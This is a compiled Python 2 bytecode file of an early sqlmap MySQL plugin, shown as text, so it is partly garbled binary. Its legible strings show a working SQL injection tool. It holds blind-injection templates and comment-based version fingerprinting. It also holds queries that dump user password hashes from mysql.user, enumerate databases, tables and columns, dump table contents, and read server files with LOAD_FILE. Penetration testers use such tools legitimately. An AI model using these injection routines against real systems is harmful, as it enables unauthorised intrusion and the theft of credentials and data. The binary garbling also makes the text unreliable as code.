³ņ
Fc           @   sZ   d  d k  Z  d  d k Z d  d k Z d  d k Z d  d k l Z d e f d     YZ d S(   i’’’’N(   t   UnionUset   MySQLMapc           B   s§   e  Z d  Z d   Z d   Z d   Z d   Z d   Z d   Z d   Z	 d   Z
 d	   Z d
   Z d   Z d   Z d   Z d   Z d   Z d   Z d   Z RS(   s]   
    This class defines MySQL methods

    @author: Bernardo Damele and Daniele Bellucci
    c         C   sg   | |  _  t i d  |  _ d |  _ d |  _ g  |  _ g  |  _ g  |  _ h  |  _	 h  |  _
 t |  _ d  S(   Nt	   sqlmapLogt    (   t   argst   loggingt	   getLoggert   loggert   _MySQLMap__bannert   _MySQLMap__currentDbt   _MySQLMap__fingerprintt   _MySQLMap__cachedUserst   _MySQLMap__cachedDbst   _MySQLMap__cachedTablest   _MySQLMap__cachedColumnst   Falset!   _MySQLMap__has_information_schema(   t   selfR   (    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt   __init__   s    								c         C   s÷   xš t  oč | i d  } | d j o Pn | d } | | i d  } | d j o t d |  n | | } d | | | !} d } xN t | |  D]= } | d t | |  7} | | d j  o | d 7} q q W| i | d	 |  } q W| S(
   Nt   'i’’’’i   s   Unenclosed ' in '%s's   '%s'R   s   %dt   ,s   CHAR(%s)(   t   Truet   findt	   Exceptiont   ranget   ordt   replace(   R   t
   expressiont   indext
   firstIndext	   lastIndext   oldt	   unescapedt   i(    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt   unescape!   s$    


 c         C   s   |  i  d d d  S(   Ns    AND ORD(MID((%s), %d, 1)) > %ds&    AND ORD(MID((%s), %d, 1)) > %d AND '1s&    AND ORD(MID((%s), %d, 1)) > %d AND "1(   t   injectionStm(   R   (    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt	   createStm;   s    	c         C   s  d } |  i  i |  |  i d d d  } |  i d |  } |  i |  } | |  i i j o d } |  i  i |  d  Sn d d d d d  d! f } xź | D]ā } xŁ t	 | d | d d  D]¼ } t
 |  } |  i d | d | d |  } |  i d |  } |  i |  } | |  i i j oO | d d j o |	 d d !}
 n |	 d }
 d |	 d |
 |	 d f } | Sn | }	 q¾ Wq Wd  S("   Ns-   executing MySQL comment injection fingerprints    /* NoValue */s    /* NoValue */ AND '1s    /* NoValue */ AND "1t   newValues)   unable to perform MySQL comment injectioniČ}  ié}  i,~  ib~  i@  iX  i¤  iŗ  iPĆ  ixĆ  i“Ć  iĀĆ  i    i   s    /*!%s AND 1=2*/s    /*!%s AND 1=2*/ AND '1s    /*!%s AND 1=2*/ AND "1t   3i   i   s   %s.%s.%s(   iČ}  ié}  (   i,~  ib~  (   i@  iX  (   i¤  iŗ  (   iPĆ  ixĆ  (   i“Ć  iĀĆ  (   R   t   infoR#   t
   urlReplacet	   queryPageR   t   defaultResultt   warnt   NoneR   t   str(   R   t   logMsgt   stmt   baseUrlt	   newResultt   warnMsgt   versionst   elementt   versiont   prevVert   midVert   trueVer(    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt   __commentCheckA   sF    			  
c         C   s
  |  i  d |  i  } |  i i p | Sn d } d | } |  i   } | o- |  i  d | g  } | d | | f 7} n |  i ov t i d |  i  } | i   d } t i d |  i  o | d	 7} n |  i  d | g  } | d
 | | f 7} n | |  i _	 | S(   Nt   MySQLt    i   s   active fingerprint: %ss$   
%scomment injection fingerprint: %ss
   ^([\d\.]+)i    s   -log$s   , logging enableds!   
%sbanner parsing fingerprint: %ss                   (
   t   parseFpR
   R   t   exaustiveFpt   _MySQLMap__commentCheckR   t   ret   searcht   groupst   fingerprint(   R   t   actVert   blankt   valuet   comVert   banVer(    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt   getFingerprints   s$    

c         C   s=   d } |  i  i |  |  i p |  i d  |  _ n |  i S(   Ns   fetching banners	   VERSION()(   R   R'   R   t   getValue(   R   R.   (    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt	   getBanner   s
    
c         C   s#   d } |  i  i |  |  i d  S(   Ns   fetching current users   current_user()(   R   R'   RI   (   R   R.   (    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt   getCurrentUser   s    c         C   s<   d } |  i  i |  |  i o |  i Sn |  i d  Sd  S(   Ns   fetching current databases
   database()(   R   R'   R	   RI   (   R   R.   (    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt   getCurrentDb”   s
    
c         C   sß   d } |  i  i |  d } |  i |  } t |  p | d j o d } t |  n d } |  i  i |  g  } x@ t t |   D], } d | } |  i |  } | i |  q W| o | |  _ n d } t |  | S(   Ns!   fetching number of database userss,   SELECT COUNT(DISTINCT(user)) FROM mysql.usert   0s/   unable to retrieve the number of database userss   fetching database userss'   SELECT user FROM mysql.user LIMIT %d, 1s%   unable to retrieve the database users(	   R   R'   RI   t   lenR   R   t   intt   appendR   (   R   R.   R/   t   countt   errMsgt   usersR   t   user(    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt   getUsers«   s(     
	c         C   s·  |  i  p |  i   |  _  n d } |  i i |  h  } xJ|  i  D]?} d } | d | 7} |  i i |  d } | d | 7} |  i |  } t |  p | d j o+ d } | d | 7} |  i i |  qC n d	 | } |  i i |  g  } xP t t |   D]< } d
 } | d | | f 7} |  i |  }	 | i	 |	  q	W| o | | | <qC d } | d | 7} |  i i |  qC W| o | |  _
 n d }
 |
 d 7}
 t |
  | S(   Ns'   fetching database users password hashess#   fetching number of password hashes s   for user '%s's'   SELECT COUNT(password) FROM mysql.user s   WHERE user='%s'RM   s*   unable to retrieve the number of password s   hashes for user '%s's&   fetching password hashes for user '%s's    SELECT password FROM mysql.user s   WHERE user='%s' LIMIT %d, 1s    unable to retrieve the password s   hashes for the database users(   R   RU   R   R'   RI   RN   R+   R   RO   RP   t   _MySQLMap__usersPasswordHashesR   (   R   R.   t   usersPasswordHashesRT   R/   RQ   R2   t	   passwordsR   t   passwordRR   (    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt   getPasswordHashesĖ   sL    

 
 
	c   	      C   sS  d } |  i  i |  |  i p4 d } | d 7} | d 7} |  i  i |  d } n d } | d 7} |  i |  } t |  p | d j o d	 } t |  n d
 } |  i  i |  g  } xl t t |   D]X } |  i p d | } n d } | d 7} | d | 7} |  i |  } | i	 |  qŠ W| o | |  _
 n d } t |  | S(   Ns   fetching number of databasess"   information_schema not available, s'   remote database is MySQL < 5. database s(   names will be fetched from 'mysql' tables(   SELECT COUNT(DISTINCT(db)) FROM mysql.dbs   SELECT COUNT(schema_name) s    FROM information_schema.schemataRM   s*   unable to retrieve the number of databasess   fetching database namess#   SELECT db FROM mysql.db LIMIT %d, 1s   SELECT schema_name FROM s   information_schema.schemata s   LIMIT %d, 1s%   unable to retrieve the database names(   R   R'   R   R+   RI   RN   R   R   RO   RP   R   (	   R   R.   R2   R/   RQ   RR   t   dbsR   t   db(    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt   getDbs  s>    




 

	c         C   s6  |  i  p d } | d 7} t |  n |  i i p- t |  i  p |  i   } q |  i } n< d |  i i j o |  i i i d  } n |  i i g } h  } xY| D]Q} d | } |  i i	 |  d } | d 7} | d | 7} |  i
 |  } t |  p | d j o+ d	 } | d
 | 7} |  i i |  q© n d | } |  i i	 |  g  }	 xb t t |   D]N }
 d } | d 7} | d | 7} | d |
 7} |  i
 |  } |	 i |  qoW|	 o |	 | | <q© d } | d | 7} |  i i |  q© W| o | |  _ n! |  i i p d } t |  n | S(   Ns"   information_schema not available, s   remote database is MySQL < 5.0R   s+   fetching number of tables for database '%s's#   SELECT COUNT(DISTINCT(table_name)) s   FROM information_schema.tables s   WHERE table_schema LIKE '%s'RM   s!   unable to retrieve the number of s   tables for database '%s's!   fetching tables for database '%s's   SELECT table_name FROM s   information_schema.tables s   WHERE table_schema LIKE '%s' s   LIMIT %d, 1s   unable to retrieve the tables s   for database '%s's.   unable to retrieve the tables for any database(   R   R   R   R\   RN   R   R]   t   splitR   R'   RI   R+   R   RO   RP   R   (   R   RR   R[   t   dbTablesR\   R.   R/   RQ   R2   t   tablesR   t   table(    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt	   getTables0  s^    

 


 
c         C   sS  |  i  i p d } t |  n |  i p d } | d 7} t |  n d |  i  i j o+ |  i  i i d  \ |  i  _ |  i  _ n d |  i  i } |  i  i o | d |  i  i 7} n |  i i |  d } | d 7} | d	 |  i  i 7} |  i  i o | d
 |  i  i 7} n |  i |  } t	 |  p | d j oL d } | d |  i  i 7} |  i  i o | d |  i  i 7} n t |  n d |  i  i } |  i  i o | d |  i  i 7} n |  i i |  h  } h  } h  } xę t
 t |   D]Ņ } d } | d |  i  i 7} |  i  i o | d |  i  i 7} n | d | 7} |  i |  }	 d } | d 7} | d |  i  i 7} | d |	 7} |  i  i o | d
 |  i  i 7} n |  i |  }
 |
 | |	 <qóW| o$ | | |  i  i <| | |  i  i <nI d } | d |  i  i 7} |  i  i o | d |  i  i 7} n t |  | |  i |  i  i <| S(   Ns   missing table parameters"   information_schema not available, s   remote database is MySQL < 5.0t   .s)   fetching number of columns for table '%s's    on database '%s's)   SELECT COUNT(DISTINCT(column_name)) FROM s!   information_schema.columns WHERE s   table_name LIKE '%s's    AND table_schema LIKE '%s'RM   s)   unable to retrieve the number of columns s   for table '%s's   fetching columns for table '%s's3   SELECT column_name FROM information_schema.columns s   WHERE table_name LIKE '%s' s   AND table_schema LIKE '%s' s   LIMIT %d, 1s   SELECT data_type FROM s   table_name LIKE '%s' AND s   column_name LIKE '%s's#   unable to retrieve the columns for s
   table '%s'(   R   t   tblR   R   R^   R\   R   R'   RI   RN   R   RO   R   (   R   RR   R.   R/   RQ   t   tableColumnsRa   t   columnsR   t   columnt   coltype(    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt
   getColumnsr  st    

+
 
	c         C   s¤  |  i  i p t d  n |  i p d } | d 7} t |  n |  i p |  i   |  _ n d } | d |  i  i 7} |  i  i o4 | d |  i  i 7} d |  i  i |  i  i f } n |  i  i } h  } d | } |  i |  } t |  p | d	 j oL d
 } | d |  i  i 7} |  i  i o | d |  i  i 7} n t |  n |  i  i	 o |  i  i	 i
 d  |  i  _	 n |  i |  i  i |  i  i } xa| i   D]S} |  i  i	 o | |  i  i	 j o q”n d | } | d |  i  i 7} |  i  i o | d |  i  i 7} n |  i i |  d }	 g  }
 h  } h  | | <xo t t |   D][ } d | | f } | d | 7} |  i |  } t |	 t t |    }	 |
 i |  qPW|	 t |  j  o t |  | d <n |	 | d <|
 | d <| | | <q”W| oY h  } |  i  i o |  i  i | d <n d  | d <|  i  i | d <| | d <| | d <nI d } | d |  i  i 7} |  i  i o | d |  i  i 7} n t |  | S(   Ns   missing table parameters"   information_schema not available, s   remote database is MySQL < 5.0s   fetching number of entries for s
   table '%s's   on database '%s's   %s.%ss   SELECT COUNT(*) FROM %sRM   s)   unable to retrieve the number of entries s   for table '%s's    on database '%s'R   s$   fetching entries of column '%s' for i    s   SELECT %s FROM %s s   LIMIT %d, 1t   lengtht   valuesR\   Ra   RQ   t	   __infos__s#   unable to retrieve the entries for (   R   Rd   R   R   R   Ri   R\   RI   RN   t   colR^   t   keysR   R'   R   RO   t   maxR-   RP   R,   (   R   RR   R.   t   fromExprt   columnValuesR/   RQ   Rf   Rg   Rj   Rk   t
   columnDataR   RE   t   infos(    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt	   dumpTable¾  s    


 
  

 



	c         C   sQ   d | } |  i  i |  |  i i o |  i d |  Sn |  i d |  Sd  S(   Ns   fetching file: '%s's   LOAD_FILE('%s')(   R   R'   R   t   unionUseRI   (   R   t   filenameR.   (    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt   getFile  s
    
c         C   s/   |  i  i o |  i |  Sn |  i |  Sd  S(   N(   R   Ru   RI   (   R   R   (    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt   getExpr!  s    c         C   sĶ  |  i  i d j oz |  i  i om d |  i  _ |  i  i d d5 j o t |  _ n% |  i  i d d j o t |  _ n |  i  i p t Sq n d } |  i i	 |  t
 t i d	 d
   } d | | f } |  i |  | d j oŹd } |  i i	 |  d | } |  i |  d j p d } |  i i |  t Sn d |  i  _ d | } | d 7} | d 7} |  i |  | j o¼ t |  _ |  i  i p d g |  _ t Sn |  i d  |  _ |  i |  i d  j oW d d g |  _ d | } | d 7} | d 7} |  i |  | j o d g |  _ q1qd g |  _ nPd g |  _ |  i  i p t Sn |  i d  } | d j o d d g |  _ n | d j o d d  g |  _ ną |  i d!  oH d" d# g |  _ |  i d$  d% j o d& g |  _ qd" d' g |  _ n |  i d(  d) j o d* d+ g |  _ n_ |  i d,  o d- d. g |  _ n< t i d/ |  i d0   o d1 d2 g |  _ n d3 g |  _ |  i  i o |  i d4  |  _ n t Sn d } |  i i |  t Sd  S(6   Nt   mysqlR:   i    t   1R&   t   4t   5s   testing MySQLi   i	   s   CONCAT('%s', '%s')i   s   confirming MySQLs   LENGTH('%s')s   the remote DMBS is not MySQLs
   SELECT %s s   FROM information_schema.tables s
   LIMIT 0, 1s   >= 5.0.0s
   DATABASE()s   SCHEMA()s   >= 5.0.2s   < 5.1s#   FROM information_schema.partitions s   >= 5.1s   = 5.0.0 or 5.0.1s   < 5.0.0s   COERCIBILITY(USER())s	   >= 4.1.11t   2s   >= 4.1.1s   < 4.1.11s   CURRENT_USER()s   >= 4.0.6s   < 4.1.1s   CHARSET(CURRENT_USER())t   utf8s   = 4.1.0s   < 4.1.0s   FOUND_ROWS()RM   s   >= 4.0.0s   < 4.0.6s   CONNECTION_ID()s
   >= 3.23.14s   < 4.0.0s   @[\w\.\-\_]+s   USER()s
   >= 3.22.11s	   < 3.23.14s	   < 3.22.11s	   VERSION()(   Rz   R&   R{   (   R   t   dbmst   MySQLVerRB   R   R   R   R=   R   R'   R-   t   randomt   randintRI   R+   R
   R	   R?   R@   RJ   R   (   R   R.   t   randIntR/   R2   t   coercibility(    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyt	   checkDbms(  s     



	


(   t   __name__t
   __module__t   __doc__R   R"   R$   R>   RH   RJ   RK   RL   RU   RZ   R]   Rb   Ri   Rt   Rw   Rx   R   (    (    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pyR      s$   				2		
		
	 	7	.	B	L	Y	
	(   R   R   R?   t   timet	   lib.unionR    R   (    (    (    s:   /usr/local/www/apache22/data/stuff/sql/plugins/mysqlmap.pys   <module>   s
   
